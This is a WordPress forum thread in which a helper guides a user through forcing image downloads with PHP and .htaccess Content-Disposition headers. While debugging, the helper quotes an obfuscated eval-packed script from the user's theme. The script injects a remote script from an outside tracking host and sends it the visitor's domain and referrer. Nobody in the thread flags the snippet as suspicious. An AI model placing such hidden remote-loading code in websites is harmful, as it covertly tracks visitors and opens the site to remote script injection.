• Hello,

    I spent the last day browsing through the forum to look for an answer to this seemingly easy task, but could not find any. Hence I ask for your kind help.

    I am attempting to create an image galley in my website. On each photo thumbnail there are 2 icons: one to view a medium-size version and the second to download a full-size version of it.

    I have created a custom field named “largeimage”. For each image I have defined the custom field as the URL to the full-size image to download (stored in my wp-content/uploads/ folder).

    I am not familiar with html or php, but by browsing several help pages I managed to copy and paste my way into the following code:

    <a class="saveimage-icon" href="<?php echo get_post_meta($post->ID,'largeimage',true); ?>">Download <?php the_title(); ?></a>

    Now, when I click on the “saveimage” icon, instead of opening a “Save As” window to let me save the image, the image is displayed in a new browser tab. This is not what I want.

    How do I get a “Save As” dialogue box to open and allow visitors to download and save the target image on their hard disk?

    Thank you very much for any help you can give.

Viewing 9 replies - 16 through 24 (of 24 total)
  • The javascript error I’m getting is this:
    SyntaxError: identifier starts immediately after numeric literal
    and it’s coming from line 54 of the source, which looks like a minified version of some javascript related to URLs. Since it’s minified, I’m finding it really hard to read, though at least it’s short. I think we might be getting the error because I didn’t include URL-encoding/decoding in the links and script, so I would try the modified code above first and see if that resolves this error too.

    Thread Starter trappist

    (@trappist)

    I have uploaded the new script and updated the code with the link that includes the urlencode() function.

    The dwi.php I was running when I sent you the link to the test page was the first version, as the second caused the 500 error. I am now using the latest you sent, but I still get the empty window.

    I appreciate very much the help you are giving me, but if it gets too difficult to debug I will just keep it as it is, namely using wp-content for the download data and the faulty button. It’s not the end of the world.

    I am new to WP and can now see the limits of its much-touted simplicity: as long as you build a lousy blog with twenty-eleven it’s fine. Try to customise something and you open up Pandora’s box with plenty frustration and time wasted. All this ugly stuff removes most of the pleasure to build a website.

    After you’ve been doing it a while, as long as you aren’t working under some time pressure, trying to figure this kind of thing out can be fun, though at times it can be frustrating. I’m too stubborn with these things to give up yet, but it’s up to you. I think we should be able to get it to work.

    I’m getting 500 errors like this with both the /wp-content image and the /large image with the URL-encoding in there. There’s even an extra “/” before dwi.php in the URL with the error messages even though it isn’t in the hyperlink:
    https://www.sharemyphoto.org//dwi.php?imageurl=http%3A%2F%2Fwww.sharemyphoto.org%2Fwp-content%2Fdownloadtest.jpg"
    though if I take that out and browse to that URL, I still get a 500 error. That brings us back to either something in your .htaccess or a server configuration issue. Unfortunately, the 500 error is pretty non-specific.

    The next thing I would do is comment out that javascript on line 54 of your theme and re-test, because I am still seeing that error.

    The other thing I noticed is that you have two closing “head” tags on the page; the first actually on the same line as the javascript that’s causing the error, line 54.

    It would be worth contacting your web host to see if they can give you any idea where the error is coming from.

    Thread Starter trappist

    (@trappist)

    Hmmmm, I do not get any 500 error. I only get an empty window when I hit the download icon for both images.

    I cannot see the extra “/” either.

    Could you please be more specific with the line 54 code? Sorry, but I am not really familiar with this stuff. Maybe you can copy and paste the relevant parts so that I can make changes to the code.

    The only script I have managed to use successfully is your first version (only for images under wp-content).

    Thanks for the suggestion. Tomorrow I will contact my host and see if they can grant to the “large” folder the same permissions as wp-contents.
    If they can’t help me, maybe I can open a new thread to ask if anyone can suggest a specific fix in .htaccess.

    Thread Starter trappist

    (@trappist)

    I have been browsing the web for suggestions and found out that this issue has already been debated outside the WP community.

    For example, this is a php script based solution, like the one you suggested me:
    https://www.amember.com/forum/threads/force-file-downloads-with-htaccess.14980/
    Unfortunately they do not mention having any folder access restriction problems.

    I found the fix you suggest for .htaccess discussed in a few web pages, but found no mention on how to restrict the download of image files to a single folder. Maybe something like:

    <FilesMatch /large/portfolio/.*>
    Order Deny,Allow
    Allow from all
    </FilesMatch>

    Whoops! I posted this before I saw your previous post. I’ll take a look at what you found.

    I only get an empty window, too, but I’m seeing the 500 errors and the extra “/” in Firebug.

    The code on line 54 is this:
    <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
    and right after that comes the code block with the two closing head tags:

    </head><style type="text/css" id="custom-background-css">
    body.custom-background { background-image: url('https://www.sharemyphoto.org/wp-content/uploads/2012/09/galleryQ98_tajbw.jpg'); background-repeat: no-repeat; background-position: top left; background-attachment: fixed; }
    </style>
    </head>

    You’re doing fine! This stuff is confusing, and you’re using a pretty complicated theme because of all the javascript.

    I just set up two links on one of my WordPress sites to test this. I used the latest version of the dwi.php file I sent you, and tested it both in debug mode and in normal mode. One link connected to a wp-content/uploads folder, the other was to a /test/portfolio folder outside of WordPress’ file structure like your /large folder. Both used the same image. The WordPress portion of the .htaccess is identical to the one you showed me above.

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END WordPress

    Both links worked in both debug mode and normal mode. I didn’t get any errors. I also tested with the target attribute of the links set to “_blank” to see if that would make a difference. That works too, but of course it pops up a new tab briefly, then the new tab goes away once the download dialog pops up.

    The differences between the site I tested it on and yours are your theme and all its code, and your server configuration. Included in your theme is that we’re attempting to use the links within fancybox. So I think the testing pretty much rules out something already in your .htaccess, and those 500 errors I see with Firebug and the extra “/” must be coming from elsewhere.

    Maybe we do need to drop back to the .htaccess method. If you put an .htaccess in the /large/portfolio folder to force download of images, as long as all the images you want to force the download for are in there, or you put a similar .htaccess in all the folders where you want to force the download, maybe that will work. I think I mentioned this earlier, but discarded it because it meant you had to mess with the .htaccess in all the affected folders.

    You can test it by putting the following in an .htaccess in the /large/portfolio folder and then just creating a hyperlink to a test image;

    SetEnvIf Request_URI "([^/]+\.jpg)$" REQUESTED_IMAGE_BASENAME=$1
    SetEnvIf Request_URI "([^/]+\.png)$" REQUESTED_IMAGE_BASENAME=$1
    Header set Content-Disposition "attachment; filename=\"%{REQUESTED_IMAGE_BASENAME}e\"" env=REQUESTED_IMAGE_BASENAME

    If just setting the Content-Disposition to “attachment” doesn’t do it, you can also try setting the type to “octet/stream,” but I think this should work. You don’t have to worry about restricting it to a specific folder if you put the .htaccess in the specific folder instead of the root directory; it should affect the current folder and all subfolders.

    Your hyperlink code would change back to:
    <a class="saveimage-icon" href="<?php echo get_post_meta($post->ID,'largeimage',true); ?>">Download <?php the_title(); ?></a>

    Thread Starter trappist

    (@trappist)

    I created an empty .htaccess and included the 3 lines you posted above. I then reverted to the first hyperlink (without the dwi.php routine). I tested this and it did not work, the first image opened in a new browser tab instead of calling the download dialoge box. The second called the usual empty window. I then added the “ForceType application/octet-stream” to the .htaccess script, but it did not change the result. I even copied it to both folders “large” and its subfolder “portfolio”, but no joy.

    I have now reverted to the original dwi.php script and I have opened a ticket with my host. If that fails, I am afraid I have to throw in the towel and stick to the wp-content folder, at least until someone else will come across the same problem and contributes towards a fix.

    I have learned a lot in these last 3 days, although at a price. I am not progressing with my website and I really need to crack on and finish it. ??

    I am very grateful for all the time you have spent helping me. You truly embody the spirit of the collaborative open-source linux community.

    Thanks. I’m really sorry we didn’t get it working. Please post if you find anything out from your host. I’d like to know why what we tried isn’t working.

Viewing 9 replies - 16 through 24 (of 24 total)
  • The topic ‘What code to open a "Save As" window to download a file stored at the host?’ is closed to new replies.